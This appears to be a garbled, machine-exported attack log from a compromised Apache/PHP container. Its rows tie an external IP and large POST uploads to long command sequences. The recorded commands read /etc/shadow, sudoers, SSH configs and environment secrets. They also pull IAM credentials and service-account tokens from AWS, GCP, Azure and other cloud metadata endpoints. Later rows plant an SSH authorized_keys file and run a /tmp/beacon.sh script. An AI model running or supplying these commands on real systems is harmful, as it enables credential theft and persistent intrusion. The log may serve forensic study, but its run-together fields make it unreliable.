http://169.254.169.254/openstack/latest/meta_data.json ; curl -sS --max-time 2 http://169.254.169.254/openstack/latest/user_data ; head -20 ; head -30 ; curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/ ; curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token ; head -10 ; head -5 ; curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/project/project-id ; head -30 ; curl -sS --max-time 2 -H Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01 ; head -30 ; curl -sS --max-time 2 http://169.254.169.254/metadata/v1/ ; head -30 ; curl -sS --max-time 2 http://169.254.169.254/opc/v1/instance/ ; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www ; apache2ctl -S ; grep -Rhs DocumentRoot /etc/apache2 /etc/httpd ; head -30 ; grep -E root |server_name|listen ; head -300 ; find /var/www/html -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n ; head -60 ; ls -la /etc/apache2/sites-enabled /etc/nginx/sites-enabled /etc/nginx/conf.d ; head -300 ; cat /etc/apache2/sites-enabled/000-default.conf /etc/nginx/sites-enabled/* /etc/nginx/conf.d/*.conf ; find /var/www -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n ; find /var/www /usr/share/nginx /srv/www -name .htaccess -type f ; head -20 ; cat /var/www/html/robots.txt ; head -20 ; find /var/www /srv/www -maxdepth 4 ( -iname *openapi* -o -iname *swagger* ) ; head -300 ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/apache2.conf ; sha256sum /etc/apache2/conf-available/charset.conf ; wc -c ; wc -c ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/conf-available/docker-php.conf ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/conf-available/other-vhosts-access-log.conf ; cut -d -f1 ; sha256sum /etc/apache2/conf-available/localized-error-pages.conf ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/conf-available/security.conf ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/conf-available/serve-cgi-bin.conf ; cut -d -f1 ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/envvars ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/magic ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/access_compat.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/actions.conf ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/auth_digest.load ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/auth_basic.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; wc -c ; sha256sum /etc/apache2/mods-available/auth_form.load ; cut -d -f1 ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/authn_dbd.load ; cut -d -f1 ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authz_core.load ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authnz_ldap.load ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authn_dbm.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authnz_fcgi.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/authz_dbd.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authz_dbm.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/authz_user.load ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/brotli.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/cache_socache.load ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/cern_meta.load ; sed s#^/##; s#/#__#g ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/data.load ; sha256sum /etc/apache2/mods-available/cgid.load ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/dav_fs.load ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; cut -d -f1 ; wc -c ; sha256sum /etc/apache2/mods-available/dav_lock.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/dialup.load ; cut -d -f1 ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/dbd.load ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/dir.conf ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/dir.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/file_cache.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/filter.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/heartbeat.load ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/http2.conf ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/http2.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/ident.load ; sed s#^/##; s#/#__#g ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/imagemap.load ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/lbmethod_bytraffic.load ; wc -c ; sed s#^/##; s#/#__#g ; cut -d -f1 ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/lua.load ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/lbmethod_heartbeat.load ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/log_debug.load ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/mpm_prefork.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/mpm_worker.load ; sha256sum /etc/apache2/mods-available/mpm_prefork.conf ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/md.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/mpm_event.conf ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/negotiation.conf ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/proxy.conf
2026-10-29 20:07:06185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -af collect
2026-10-29 20:08:51185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -af collect
2026-10-29 20:09:06185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentsh -> shuname -m ; uname -r ; cat /etc/os-release ; cat /etc/debian_version /etc/alpine-release /etc/redhat-release ; getconf LONG_BIT ; uptime ; cat /proc/uptime ; date -u ; whoami ; hostname ; uname -a ; hostname -f ; id ; cat /sys/class/dmi/id/sys_vendor ; cat /sys/class/dmi/id/product_name ; cat /sys/class/dmi/id/product_version ; cat /sys/class/dmi/id/board_name ; cat /sys/class/dmi/id/bios_vendor ; getent passwd www-data ; id -un ; cat /sys/class/dmi/id/chassis_type ; cat /sys/class/dmi/id/chassis_serial ; cat /sys/class/dmi/id/bios_version ; nproc ; lscpu ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; egrep -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; grep -E -i ^(processor|model name|vendor_id|cpu family|model|stepping|microcode|cpu MHz|cache size|physical id|core id|siblings|cpu cores|flags) /proc/cpuinfo ; cat /sys/devices/system/cpu/online /sys/devices/system/cpu/possible ; head -80 ; egrep -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; grep -E -i Size|Type|Speed|Manufacturer|Part Number|Locator|Form Factor|Total Width|Data Width|Configured ; cat /sys/devices/system/memory/memory0/state ; head -20 ; cat /sys/devices/system/memory/memory1/state ; cat /sys/devices/system/memory/memory10/state ; cat /sys/devices/system/memory/memory11/state ; cat /sys/devices/system/memory/memory12/state ; cat /sys/devices/system/memory/memory13/state ; cat /sys/devices/system/memory/memory14/state ; cat /sys/devices/system/memory/memory4/state ; cat /sys/devices/system/memory/memory5/state ; cat /sys/devices/system/memory/memory8/state ; cat /sys/devices/system/memory/memory7/state ; cat /sys/devices/system/memory/memory9/state ; cat /sys/devices/system/memory/memory3/state ; cat /sys/devices/system/memory/memory2/state ; cat /sys/devices/system/memory/memory6/state ; cat /sys/devices/system/memory/memory15/state ; free -m ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; cat /sys/devices/system/node/node0/meminfo ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; head -40 ; free -h ; egrep ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; cat /sys/fs/cgroup/memory.max ; cat /sys/fs/cgroup/memory.current ; cat /sys/fs/cgroup/memory.peak ; grep -E ^(MemTotal|MemFree|MemAvailable|Buffers|Cached|SwapTotal|SwapFree|Shmem|AnonPages|Slab|HugePages_Total|Hugepagesize) /proc/meminfo ; cat /sys/fs/cgroup/memory.swap.max ; cat /sys/fs/cgroup/memory/memory.limit_in_bytes ; cat /sys/fs/cgroup/memory/memory.usage_in_bytes ; cat /proc/swaps ; swapon --show ; df -hP ; df -iP ; head -100 ; cat /proc/self/mountinfo ; du -sh /var/www ; cat /proc/partitions ; du -sh /var/www/html ; lsblk ; du -sh /srv ; du -sh /var/lib ; du -sh /tmp ; du -sh /opt ; du -sh /var/log ; du -sh /usr/local ; du -sh /home ; find / -xdev ( -path /proc -o -path /sys -o -path /dev ) -prune -o -type f -size +50M -printf %s %p\n ; sort -nr ; head -30 ; cat /proc/net/route ; hostname -I ; cat /sys/class/net/enp0s2/address ; cat /sys/class/net/lo/address ; cat /proc/net/arp ; cat /proc/net/tcp /proc/net/tcp6 ; cat /proc/net/udp /proc/net/udp6 ; head -120 ; cat /proc/net/fib_trie ; cat /etc/hosts ; cat /etc/resolv.conf ; cat /etc/nsswitch.conf ; getent hosts database ; getent hosts db ; getent hosts mail ; getent hosts mysql ; getent hosts rabbitmq ; getent hosts smtp ; getent hosts redis ; ls -la /var/run/*.sock /run/*.sock /var/run/*/*.sock /run/*/*.sock ; getent hosts gateway.docker.internal ; head -40 ; getent hosts host.docker.internal ; head -50 ; tr \0 ; head -250 ; ps -eo pid,ppid,user,stat,etime,rss,args --sort=-rss ; ps auxww ; head -150 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; tr \0 ; cat /proc/loadavg ; tr \0 ; tr \0 ; tr \0 ; head -20 ; cat /etc/gshadow ; cat /etc/sudoers ; ls -la /etc/sudoers.d ; cat /etc/sudoers.d/* ; ls -la /root ; who ; w ; ls -la /root /home ; cat /etc/shadow ; head -80 ; id ; cat /etc/passwd ; cat /etc/group ; head -40 ; grep -E ^(Uid|Gid|Groups|Cap|NoNewPrivs|Seccomp) /proc/self/status ; ls -la /root/.ssh /home/*/.ssh ; cat /root/.ssh/config /home/*/.ssh/config ; env ; sort ; sort ; head -300 ; cut -c1-80 ; tr \0 ; tr \0 \n ; cut -c1-80 ; sort ; sort ; tr \0 ; sort ; tr \0 \n ; tr \0 ; sort ; tr \0 ; cut -c1-80 ; tr \0 \n ; sort ; tr \0 \n ; cut -c1-80 ; tr \0 \n ; tr \0 \n ; tr \0 ; cut -c1-80 ; cut -c1-80 ; tr \0 \n ; tr \0 ; tr \0 \n ; sort ; cut -c1-80 ; tr \0 ; sort ; cut -c1-80 ; tr \0 ; sort ; tr \0 \n ; cut -c1-80 ; tr \0 ; sort ; tr \0 \n ; cat /etc/environment ; head -80 ; ls -la /etc/profile.d ; head -120 ; cat /etc/profile.d/*.sh ; cat /etc/profile ; ls -la /etc/default /etc/sysconfig ; head -200 ; cat /etc/default/apache-htcacheclean /etc/default/nss /etc/default/useradd ; wc -l ; dpkg-query -W -f=${Package}\t${Version}\n ; dpkg-query -W -f=${Package}\n ; head -400 ; head -300 ; head -300 ; head -300 ; php -v ; php -m ; apache2 -v ; apache2ctl -M ; cat /proc/1/cgroup /proc/self/cgroup ; ls -la /.dockerenv /run/.containerenv ; tr \0 ; env ; cat /sys/fs/cgroup/cpuset.cpus.effective ; ls -la /var/run/docker.sock /run/docker.sock /run/containerd/containerd.sock /run/crio/crio.sock ; ls -la /run/secrets /var/run/secrets ; cat /proc/1/status ; grep -i kube ; ls -la /var/run/secrets/kubernetes.io/serviceaccount/ ; grep -E /(host|var/lib/docker|var/lib/containerd|mnt|media) /proc/self/mountinfo ; head -30 ; cat /sys/fs/cgroup/pids.max ; cat /sys/fs/cgroup/memory.max ; head -30 ; cat /sys/fs/cgroup/cpu.max ; ls -la /proc/1/root ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/ ; head -60 ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-id ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/instance-type ; head -20 ; head -20 ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/placement/availability-zone ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-ipv4 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-ipv4 ; head -20 ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/local-hostname ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/security-groups ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/public-hostname ; head -20 ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/info ; head -20 ; curl -sS --max-time 2 -X PUT -H X-aws-ec2-metadata-token-ttl-seconds: 21600 http://169.254.169.254/latest/api/token ; curl -sS --max-time 2 http://169.254.169.254/latest/meta-data/iam/security-credentials/ ; head -1 ; head -40 ; curl -sS --max-time 2 http://169.254.169.254/openstack/latest/meta_data.json ; head -20 ; head -30 ; curl -sS --max-time 2 http://169.254.169.254/openstack/latest/user_data ; curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/ ; curl -sS --max-time 2 -H Metadata: true http://169.254.169.254/metadata/instance?api-version=2021-02-01 ; curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token ; head -30 ; head -30 ; head -5 ; curl -sS --max-time 2 -H Metadata-Flavor: Google http://metadata.google.internal/computeMetadata/v1/project/project-id ; head -10 ; curl -sS --max-time 2 http://169.254.169.254/metadata/v1/ ; head -30 ; curl -sS --max-time 2 http://169.254.169.254/opc/v1/instance/ ; head -20 ; head -300 ; find /var/www /usr/share/nginx /srv/www -name .htaccess -type f ; cat /var/www/html/robots.txt ; head -20 ; find /var/www /srv/www -maxdepth 4 ( -iname *openapi* -o -iname *swagger* ) ; find /var/www/html -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n ; find /var/www -maxdepth 3 -type f -printf %s %TY-%Tm-%Td %p\n ; head -300 ; ls -la /var/www /var/www/html /var/www/html/public /usr/share/nginx/html /srv/www ; apache2ctl -S ; grep -Rhs DocumentRoot /etc/apache2 /etc/httpd ; ls -la /etc/apache2/sites-enabled /etc/nginx/sites-enabled /etc/nginx/conf.d ; head -30 ; head -60 ; cat /etc/apache2/sites-enabled/000-default.conf /etc/nginx/sites-enabled/* /etc/nginx/conf.d/*.conf ; grep -E root |server_name|listen ; head -300 ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/apache2.conf ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/conf-available/charset.conf ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/conf-available/docker-php.conf ; cut -d -f1 ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/conf-available/other-vhosts-access-log.conf ; sha256sum /etc/apache2/conf-available/localized-error-pages.conf ; wc -c ; sed s#^/##; s#/#__#g ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/magic ; sed s#^/##; s#/#__#g ; cut -d -f1 ; wc -c ; sed s#^/##; s#/#__#g ; cut -d -f1 ; wc -c ; sha256sum /etc/apache2/conf-available/serve-cgi-bin.conf ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/envvars ; cut -d -f1 ; sha256sum /etc/apache2/conf-available/security.conf ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/access_compat.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/actions.conf ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/auth_basic.load ; cut -d -f1 ; wc -c ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/auth_digest.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/auth_form.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/authn_dbd.load ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/authn_dbm.load ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/authnz_ldap.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authnz_fcgi.load ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/authz_core.load ; wc -c ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authz_dbm.load ; cut -d -f1 ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/authz_user.load ; wc -c ; sed s#^/##; s#/#__#g ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/brotli.load ; sed s#^/##; s#/#__#g ; cut -d -f1 ; wc -c ; sha256sum /etc/apache2/mods-available/cache_socache.load ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/authz_dbd.load ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/cern_meta.load ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/cgid.load ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/dav_lock.load ; wc -c ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; wc -c ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/data.load ; sha256sum /etc/apache2/mods-available/dav_fs.load ; cut -d -f1 ; cut -d -f1 ; wc -c ; sha256sum /etc/apache2/mods-available/dialup.load ; wc -c ; sed s#^/##; s#/#__#g ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/dir.conf ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/dbd.load ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/dir.load ; sha256sum /etc/apache2/mods-available/file_cache.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; wc -c ; cut -d -f1 ; wc -c ; sha256sum /etc/apache2/mods-available/filter.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/heartbeat.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; cut -d -f1 ; wc -c ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/http2.conf ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/http2.load ; cut -d -f1 ; wc -c ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/ident.load ; wc -c ; sha256sum /etc/apache2/mods-available/imagemap.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/lbmethod_bytraffic.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/lbmethod_heartbeat.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/log_debug.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/lua.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/mpm_prefork.conf ; wc -c ; sha256sum /etc/apache2/mods-available/mpm_prefork.load ; cut -d -f1 ; wc -c ; sed s#^/##; s#/#__#g ; cut -d -f1 ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; sha256sum /etc/apache2/mods-available/md.load ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/mpm_event.conf ; wc -c ; cut -d -f1 ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/mpm_worker.load ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/negotiation.conf ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/proxy.conf ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/proxy_balancer.load ; sed s#^/##; s#/#__#g ; sed s#^/##; s#/#__#g ; wc -c ; sha256sum /etc/apache2/mods-available/proxy_hcheck.load ; cut -d -f1 ; sed s#^/##; s#/#__#g ; wc -c ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/proxy_http.load ; sed s#^/##; s#/#__#g ; cut -d -f1 ; sha256sum /etc/apache2/mods-available/proxy_uwsgi.load
2026-10-29 20:10:34185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -c -f collect.sh
2026-10-29 20:11:42185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -c -f collect.sh
2026-10-29 20:13:09185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -c -f collect.sh
2026-10-29 20:14:58185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashid
2026-10-29 20:15:05185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -af beacon
2026-10-29 20:15:20185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /tmp/<REDACTED>-443/meta.tsv
2026-10-29 20:15:20185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -af collect.sh
2026-10-29 20:15:42185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashid
2026-10-29 20:15:54185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashid
2026-10-29 20:15:54185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /tmp/<REDACTED>-443/meta.tsv
2026-10-29 20:15:54185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashpgrep -af beacon
2026-10-29 20:15:54185.65.134.250185.65.134.250: 19:56:29 to 20:00:29 UTC, 2 POST to /, 8.4 MB sent; 185.65.134.250: 19:56:00 to 19:56:02 UTC, 2 POST to /, 8.5 MB sent; 185.65.134.250: 19:55:43 to 19:55:46 UTC, 2 POST to /, 8.5 MB sentbash -> bashls -la /tmp/beacon.sh
2026-10-30 02:24:24Not attributedNot attributedbash -> bashmkdir -p /var/www/.ssh
2026-10-30 02:24:30Not attributedNot attributedbash -> bashchmod +x /tmp/beacon.sh
2026-10-30 02:24:30Not attributedNot attributedbash -> bashchmod 600 /var/www/.ssh/authorized_keys
2026-10-30 02:24:30Not attributedNot attributedbash -> bashbase64 -d
2026-10-30 02:24:30Not attributedNot attributedbash -> bashpgrep -f /tmp/beacon.sh
